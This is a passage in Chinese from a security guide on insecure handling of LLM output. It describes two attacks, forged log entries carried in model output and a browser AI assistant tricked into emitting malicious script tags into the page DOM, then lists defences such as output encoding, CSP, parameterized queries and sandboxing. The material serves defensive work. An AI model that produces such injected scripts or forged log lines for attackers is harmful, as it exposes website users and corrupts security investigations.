    9. 日志伪造: LLM 输出写入日志文件时包含换行符和伪造的时间戳, 攻击者通过模型输出往日志里插入虚假条目, 干扰安全事件分析.
    10. 浏览器扩展漏洞: 浏览器 AI 助手把模型输出直接注入到当前页面 DOM, 攻击者让模型输出恶意 <script> 标签, 在当前网站上下文执行任意代码.

  • 防御策略

    • 把模型输出当作用户输入对待: 零信任原则——模型输出跟用户输入一样不可信, 所有输出到下游之前必须做校验和编码.
    • 上下文感知输出编码: 根据输出要去的目的地做对应编码——HTML 内容做 HTML 编码, JavaScript 上下文做 JS 编码, JSON 做 JSON 编码. 参考 OWASP ASVS 输出编码指引.
    • 参数化查询: 所有 SQL 操作必须用参数化查询或预编译语句, 禁止用 LLM 输出直接拼接 SQL.
    • **Content Security Policy (CSP) **: 部署严格 CSP 策略, 限制脚本来源和 unsafe-inline , 即使 XSS 注入也难以执行.
    • 清理控制字符: 写入终端或日志前剥离 ANSI 转义序列, BEL, 退格, 回车等不可见控制字符.
    • 禁用自动外联渲染: 聊天 UI, 邮件客户端等默认禁用 Markdown 图片自动加载和链接预览, 用代理转发并剥离数据参数.
    • 输出格式校验: 定义严格的输出 Schema, 在应用代码中校验模型输出是否符合预期结构, 不符合就拒绝或降级.
    • 代码审查 + 沙箱执行: 模型生成的代码先经过静态分析和人工审查, 在沙箱环境测试后再部署或执行.
    • 日志与监控: 监控模型输出中是否出现 URL, SQL 片段, Shell 命令等敏感模式, 异常时告警或阻断.
    • 最小权限原则: 执行模型输出的组件 (如 Shell, 文件系统, 数据库) 按最小权限配置, 即使被注入, 影响也有限.